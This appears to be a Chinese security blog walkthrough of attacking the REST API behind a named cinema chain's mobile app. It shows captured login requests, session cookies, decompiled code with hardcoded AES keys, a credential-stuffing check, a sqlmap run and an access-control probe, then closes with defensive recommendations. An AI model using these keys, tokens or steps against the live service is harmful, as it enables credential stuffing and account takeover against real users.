本文原创作者:bt0sea

clip_image001

0×00、业务需求

移动应用产业以爆炸性的速度呈指数增长,但移动应用的安全问题落后于应用的发展速度。由于黑客事件变得越来越公开,对企业的影响比以往任何时候都更大。黑客渗透获取用户敏感数据后,出于商业目的销售,或者公开。所以,在移动APP端对企业数据的保护尤为重要。

P2P网站、金融等相关的网站、APP保存着用户的身份信息(真实姓名、身份证号、手机号、征信证明、银行流水等)。目前趋势是移动APP漏洞层出不穷,今天的移动安全相当于十年前web服务器安全的级别。基本上可以得出这样的结论:根据权威机构评估,平均每一个移动APP应用大约有3.5个安全漏洞,Apk 就是open source code代名词。

但是,单纯研究Mobile APP安全性问题,无法利用高危,获得服务器端的数据。所以,在分析移动APP漏洞的同时,要重点分析连接移动APP的RESTful API Web service。为什么要提RESTful API Web service呢?普通web架构+JSON不就成了么?经过分析大部分有价值数据的网站都是使用RESTful API Web service。这是热需求。

咱们先看看哪些大咖用这种设计架构,github/fackbook等。不了解RESTful API Web Service的同学请参考:

http://www.ruanyifeng.com/blog/2014/05/restful_api.html

0×01、研究手段

一、破解思路:

其实重点突破RESTful API Web Service 还是通过iOS/Android App。由于很多高大上的网站为了安全性,把Web网站和移动APP隔离,发现使用http(s)://api(OpenApi).xxx.com/login/v1?phone=13811110000&sgin=022BEC9EE1B935B50D1193A07A3AD7B2。都是通过移动APP抓到的包。所以,我们先看看移动端安全风险主要有哪些,我们如何下手,其实OWASP Mobile Top 10 Risks给我们指引了方向:

M1: 不安全的服务器端访问控制

M2: 不安全的数据存储

M3: 传输层保护不足

M4: 非预期的数据泄露

M5: 脆弱的认证和授权

M6: 已知的弱加密算法

M7: 客户端注入

M8: 通过不被信任的输入改变安全设定

M9: 会话处理不当

M10: 缺乏二进制保护

虽然说官网总结的很好,但是对于服务器端渗透从字面上只有M1。但是个人觉得需要配合APP破解才能达到最佳效果。那么,具体应该怎么操作呢?

M1:不安全的服务器端访问控制

(1)通过android移动APP程序攻击服务器端业务逻辑。

(2)验证服务器端对输入校验。

(3)通用 SQL注入 XSS跨站脚本,不安全的认证检查。

(4)通过代理方式操纵伪造数据提交。

当然要配合M2相关内容。

M2:不安全的数据存储

(1)敏感信息:用户名、密码、加密key、信用卡信息、session识别码、token等。

(2)个人信息:手机号、家庭住址、电子邮件、位置信息等。

(3)还有一些可能包含敏感信息的文件存储:SQLite databases 、Log Files 、XML Data Stores or Manifest Files 、Binary data stores 、SD Card、Cloud

二、具体攻击方法

2.1 使用安卓手机应用程序攻击服务器业务逻辑

通过上述分析,可以发现,如果想获取服务器端数据库的数据,主要是集中在对Web平台的安全检测,同时,结合这期的主题RESTful API Web Service,渗透测试重点主要表现在:

(1)、对手机APP客户端做身份认证(Authentication)

(2)、对手机APP身份认证之后的授权(Authorization)

(3)、对手机APP和服务器端传输的数据加密级别判定

首先,我们要了解目前的针对RESTful API Web Service防护的技术手段。

方法论研究

1、对手机APP客户端做身份认证

1.1、在APP请求中增加签名参数

1.2、http auth (HTTP Basic/HTTP Digest)身份认证机制,这个一般都由安全架构来承担(例如Spring Security)

1.3、OAuth 1/2协议做身份认证(一般都是第三方接入时使用,例如:weibo、微信等)

攻击思路:

寻找Android App存储在本地token信息,比如说在database、s_Prefs;等地方。

破解Android App的加固,寻找和服务器通讯URL签名算法。知道生成算法,就可以伪造请求了。。。

测试用例:撞库分析。。。(分析后可以通过已经泄露的数据库,碰撞测试):账号和密码产生机制,以及签名产生机制。

第一步:首先观察不同两次登录 URL是否存在URL签名。

POST http://wdapi.wandafilm.com/filmserver/user/login HTTP/1.1

Host: wdapi.wandafilm.com

Connection: close

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Content-Length: 312

Connection: close

User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)

clientversion=30900&clientid=1&verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0SpI2Olm3oacqAG%252BxXBrCAm49QWQqztOFLvu5MuecuPzg%253D%253D&password=f73177f13486f55bcd8bea88d1610f58&mobile=186183xx220&imei=&version=2&clienttype=1

POST http://wdapi.wandafilm.com/filmserver/user/login HTTP/1.1

Host: wdapi.wandafilm.com

Connection: close

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Content-Length: 308

Connection: close

User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)

clientversion=30900&clientid=1&verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0TyLPqEc9hZzGdykXLBNTChe8Cq3c6zqbo2I03zxSZDbA%253D%253D&password=f73177f13486f55bcd8bea88d1610f58&mobile=186183xx220&imei=&version=2&clienttype=1

发现verifycode没有改变。

第二步:分析登录各个参数的含义,同时参考破解APK文件。

POST http://wdapi.wandafilm.com/filmserver/user/login HTTP/1.1

Host: wdapi.wandafilm.com

Connection: close

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Content-Length: 316

Connection: close

Cookie: jsessionid|JSESSIONID=4151ab5036290f18ef079cf0f0e43281

User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)

clientversion=30900&

clientid=1&

verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0SrYk%252FpfqrZZAbA%252BwmJphBLFeaxqAU3tAC5Du9C9W4Yyw%253D%253D&

password=f73177f13486f55bcd8bea88d1610f58&

mobile=186183xx220&

imei=&

version=2&

clienttype=1

apk破解后找到登陆处理函数。

public UserAPILogin(String paramString1, String paramString2, String paramString3, UserModel paramUserModel)

{

    super("/user/login");

this.mMobile = paramString1;

this.mPassWord = Md5Utils.md5(paramString2);

this.mUserModel = paramUserModel;

this.mTerminal = paramString3;

}

查看源代码后,发现没有加salt,当然你可以使用MD5工具加密对比,但是绝大部分的程序是加salt的。

public static String md5(String paramString)

{

    sMd5MessageDigest.reset();

    sMd5MessageDigest.update(paramString.getBytes());

    paramString = sMd5MessageDigest.digest();

    sStringBuilder.setLength(0);

int i = 0;

for (;;)

{

if (i >= paramString.length) {

return sStringBuilder.toString();

}

int j = paramString[i] & 0xFF;

if (j < 16) {

        sStringBuilder.append(&#039;0&#039;);

}

      sStringBuilder.append(Integer.toHexString(j));

      i += 1;

}

}

在源代码中搜索verifycode、clientversion、clientid等关键字,定位到WandafilmServerAPI类中的描述:

public String getUrl()

{

String str = super.getUrl();

StringBuilder localStringBuilder = new StringBuilder();

    localStringBuilder.append(str);

if (!str.contains("?")) {

      localStringBuilder.append("?");

}

for (;;)

{

      localStringBuilder.append("clientid=");

      localStringBuilder.append(Integer.toString(NetConstants.CLIENT_ID));

      localStringBuilder.append("&clienttype=");

      localStringBuilder.append(Integer.toString(2));

      localStringBuilder.append("&verifycode=");

      str = getVerifyCodeAes(NetConstants.VERIFY_CODE + System.currentTimeMillis());

if (!TextUtils.isEmpty(str)) {}

try

{

        localStringBuilder.append(URLEncoder.encode(str.trim(), "utf-8"));

return localStringBuilder.toString();

        localStringBuilder.append("&");

}

catch (UnsupportedEncodingException localUnsupportedEncodingException)

{

for (;;)

{

          localUnsupportedEncodingException.printStackTrace();

}

}

}

}

然后定位getVerifyCodeAes。

private String getVerifyCodeAes(String paramString)

{

if (mAes == null) {}

try

{

      mAes = new EncryptionAES(NetConstants.AES_KEY);

}

catch (NoSuchAlgorithmException localNoSuchAlgorithmException)

{

for (;;)

{

try

{

          paramString = mAes.encrypt(paramString.getBytes());

return paramString;

}

catch (InvalidKeyException paramString)

{

          paramString.printStackTrace();

return null;

}

catch (NoSuchAlgorithmException paramString)

{

          paramString.printStackTrace();

continue;

}

catch (NoSuchPaddingException paramString)

{

          paramString.printStackTrace();

continue;

}

catch (InvalidAlgorithmParameterException paramString)

{

          paramString.printStackTrace();

continue;

}

catch (IllegalBlockSizeException paramString)

{

          paramString.printStackTrace();

continue;

}

catch (BadPaddingException paramString)

{

          paramString.printStackTrace();

continue;

}

        localNoSuchAlgorithmException = localNoSuchAlgorithmException;

        localNoSuchAlgorithmException.printStackTrace();

}

}

catch (InvalidKeySpecException localInvalidKeySpecException)

{

for (;;)

{

        localInvalidKeySpecException.printStackTrace();

}

}

}

static

{

int i;

if (CURRENT_APP_SOURCE == AppSource.CINEMA)

{

      i = 1;

      CLIENT_ID = i;

if (CURRENT_APP_SOURCE != AppSource.CINEMA) {

break label89;

}

      str = "lhdV+wj177YyjirsxeikaNestM/YafgOxrpiGbMVxzvefarFNbQfGHXauqmTIJk+upexqehjv8xK+mlx2SbnDg==";

      label34:

      VERIFY_CODE = str;

if (CURRENT_APP_SOURCE != AppSource.CINEMA) {

break label96;

}

}

    label89:

    label96:

for (String str = "wandayuanxian100008";; str = "wanhui20008qweasd")

{

      AES_KEY = str;

      FACE_PACKAGE_LOCAL_PATH = Environment.getExternalStorageDirectory().getAbsolutePath() + "/WandaFacePackage";

return;

      i = 2;

break;

      str = "vcj3smUdw7H47eqDg++qQUR4P52JMZolcamSazRZAQP6h6H9C4vusOkCdt/a15ofuLwGgt+lsgCyzD+ph1WyNg==";

break label34;

}

}

private byte[] encrypt(SecretKey paramSecretKey, IvParameterSpec paramIvParameterSpec, byte[] paramArrayOfByte)

    throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException

{

Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS7Padding");

    localCipher.init(1, paramSecretKey, paramIvParameterSpec);

return localCipher.doFinal(paramArrayOfByte);

}

System.currentTimeMillis()产生一个当前的毫秒,这个毫秒其实就是自1970年1月1日0时起的毫秒数

没有对手机唯一性的判断,那么,导致verifycode每次登陆都一样,那么,完全可以撞库。

clip_image002

设置8次提交。JSON数据返回值都一样({"msg":"手机号或密码错误!","status":13007}),那证明,服务器端java应用程序没有次数限制判断。

那么,具体怎么撞库,请参考:

http://mp.weixin.qq.com/s?__biz=MzA4MTA1MDIwMQ==&mid=207971286&idx=1&sn=adb5c7bffabee975fd76f4f0b71a815d#rd

2.2 常见的服务器端漏洞,如SQL注入

通过代理方式遍历APP抓取所有的URL连接,然后使用SQLMAP检查:

GET http://wdapi.wandafilm.com/filmserver/info/popularize?verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0S1UEUY0GOe3b2gBZ6jI19NjRz%252FMbY2H1MJ%252BG%252FUT6LPPg%253D%253D&clientid=1&imei=&clientversion=30900&version=2&clienttype=1 HTTP/1.1

Host: wdapi.wandafilm.com

Connection: keep-alive

Accept-Encoding: gzip

User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)

Connection: keep-alive

Cookie: UID=20130211223622356711; SESSIONID=7d4c8c04397e5542e890004d2100f904; jsessionid|JSESSIONID=ecc029e6326c8a7c319c7aa6506c7369

开启kali linux

开启终端:sqlmap –r sqlinj12.txt

clip_image003

提交的时候可以提交User-Agent:等相关参数为移动App提交,如果服务器端有相关的判断,可以绕过。

clip_image004

同时,建议通过wireshark观察一下返回值的情况。

clip_image005

经过测试发现没有sql注入漏洞。

2.3 服务器端输入验证的缺失

是否越权获取其他用户数据。

GET http://wdapi.wandafilm.com/filmserver/user/userdetail?clientversion=30900&type=1&userid=20130211223622356711&clientid=1&verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0RQz5UQQ8aiPpE15TIQiIOSUIaJWMCXwVDD5lGOpgY6gg%253D%253D&imei=&version=2&clienttype=1 HTTP/1.1

Host: wdapi.wandafilm.com

Connection: keep-alive

Accept-Encoding: gzip

User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)

Connection: keep-alive

Cookie: UID=20130211223622356711; SESSIONID=7d4c8c04397e5542e890004d2100f904; jsessionid|JSESSIONID=ecc029e6326c8a7c319c7aa6506c7369

http://wdapi.wandafilm.com/filmserver/user/userdetail?

clientversion=30900&

type=1&

userid=20130211223622356711&

clientid=1&

verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0RQz5UQQ8aiPpE15TIQiIOSUIaJWMCXwVDD5lGOpgY6gg%253D%253D&

imei=&

version=2&

clienttype=1

((StringBuffer)localObject5).append("UserId");

((StringBuffer)localObject5).append(" =? ");

Object localObject1 = CinemaGlobal.getInst().mUserModel.getUser().getUid();

0×02、测试结论:

(1)不能相信任何用户的输入,服务器端必须做校验。为了防止提交URL篡改。设计URL时:建议使用用户名密码 + https + url签名(url+时间戳+随机字串)链接。服务器返回token:使用约定的AES算法secret key随机

(2)为了防止为重放攻击,请求中增加一次性的Token,或者短时间内有效的Token。需要提取用户手机特征,但是iphone最好不要提取IMEI,因为苹果权限控制,很多时候为失效状态,导致URL签名没有变化。

(3)客户端最好不要存储任何有价值的数据。存储也必须加密。因为很多时候,你无法判断你的APP是否运行在一个被root的手机上。

源链接

Hacking more

...